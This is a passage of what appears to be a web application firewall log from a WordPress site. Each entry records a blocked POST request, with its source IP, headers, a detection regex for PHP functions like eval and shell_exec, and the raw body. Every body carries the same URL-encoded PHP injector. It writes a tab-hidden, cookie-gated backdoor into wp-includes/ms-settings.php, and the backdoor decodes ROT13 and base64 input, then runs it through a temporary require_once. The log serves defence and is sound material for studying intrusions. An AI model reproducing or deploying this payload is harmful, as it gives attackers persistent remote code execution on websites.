nt_handler_initialized%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4286\nsec-fetch-site:none\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvI3xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nWy=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ms-settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B17%252B-17%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B49-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-5%252B8%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B82-78%255D%2529%2529%2520%257B%2520%2524sym%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524value%2529%2520%257B%2520%2524sym%2520%253D%2520%2524_COOKIE%253B%2520%2524holder%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f1fc5a85%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524holder%2529%2529%2520%257B%2520%2524holder%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522buffer_cache%2522%253B%2520%257D%2520%2524rec%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524sym%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524holder%2529%2529%2520%257B%2520%2524data%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data%252C%2520%2524rec%2529%253B%2520fclose%2528%2524data%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524holder%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524holder%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524ent%2520%253D%2520%25227178f9e735e883e960f781ddc60085d3%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ent%252C%2520%2524sym%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_handler_initialized%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:41:06","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> yZ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ms-settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B17%252B-17%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B49-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-5%252B8%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B82-78%255D%2529%2529%2520%257B%2520%2524sym%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524value%2529%2520%257B%2520%2524sym%2520%253D%2520%2524_COOKIE%253B%2520%2524holder%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f1fc5a85%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524holder%2529%2529%2520%257B%2520%2524holder%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522buffer_cache%2522%253B%2520%257D%2520%2524rec%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524sym%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524holder%2529%2529%2520%257B%2520%2524data%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data%252C%2520%2524rec%2529%253B%2520fclose%2528%2524data%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524holder%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524holder%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524ent%2520%253D%2520%25227178f9e735e883e960f781ddc60085d3%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ent%252C%2520%2524sym%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_handler_initialized%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:4286\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrIbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nyZ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ms-settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B17%252B-17%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B49-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-5%252B8%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B82-78%255D%2529%2529%2520%257B%2520%2524sym%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524value%2529%2520%257B%2520%2524sym%2520%253D%2520%2524_COOKIE%253B%2520%2524holder%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f1fc5a85%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524holder%2529%2529%2520%257B%2520%2524holder%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522buffer_cache%2522%253B%2520%257D%2520%2524rec%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524sym%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524holder%2529%2529%2520%257B%2520%2524data%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data%252C%2520%2524rec%2529%253B%2520fclose%2528%2524data%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524holder%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524holder%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524ent%2520%253D%2520%25227178f9e735e883e960f781ddc60085d3%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ent%252C%2520%2524sym%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_handler_initialized%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:41:08","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> gM:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ms-settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B17%252B-17%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B49-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-5%252B8%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B82-78%255D%2529%2529%2520%257B%2520%2524sym%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524value%2529%2520%257B%2520%2524sym%2520%253D%2520%2524_COOKIE%253B%2520%2524holder%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f1fc5a85%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524holder%2529%2529%2520%257B%2520%2524holder%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522buffer_cache%2522%253B%2520%257D%2520%2524rec%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524sym%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524holder%2529%2529%2520%257B%2520%2524data%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data%252C%2520%2524rec%2529%253B%2520fclose%2528%2524data%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524holder%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524holder%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524ent%2520%253D%2520%25227178f9e735e883e960f781ddc60085d3%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ent%252C%2520%2524sym%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_handler_initialized%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:4286\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvM00vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\ngM=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ms-settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B17%252B-17%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B49-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-5%252B8%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B82-78%255D%2529%2529%2520%257B%2520%2524sym%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524value%2529%2520%257B%2520%2524sym%2520%253D%2520%2524_COOKIE%253B%2520%2524holder%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f1fc5a85%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524holder%2529%2529%2520%257B%2520%2524holder%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522buffer_cache%2522%253B%2520%257D%2520%2524rec%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524sym%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524holder%2529%2529%2520%257B%2520%2524data%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data%252C%2520%2524rec%2529%253B%2520fclose%2528%2524data%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524holder%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524holder%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524ent%2520%253D%2520%25227178f9e735e883e960f781ddc60085d3%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ent%252C%2520%2524sym%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_handler_initialized%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:41:10","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> gm:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ms-settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B17%252B-17%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B49-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-5%252B8%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B82-78%255D%2529%2529%2520%257B%2520%2524sym%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524value%2529%2520%257B%2520%2524sym%2520%253D%2520%2524_COOKIE%253B%2520%2524holder%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f1fc5a85%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524holder%2529%2529%2520%257B%2520%2524holder%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522buffer_cache%2522%253B%2520%257D%2520%2524rec%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524sym%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524holder%2529%2529%2520%257B%2520%2524data%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data%252C%2520%2524rec%2529%253B%2520fclose%2528%2524data%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524holder%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524holder%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524ent%2520%253D%2520%25227178f9e735e883e960f781ddc60085d3%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ent%252C%2520%2524sym%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_handler_initialized%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%2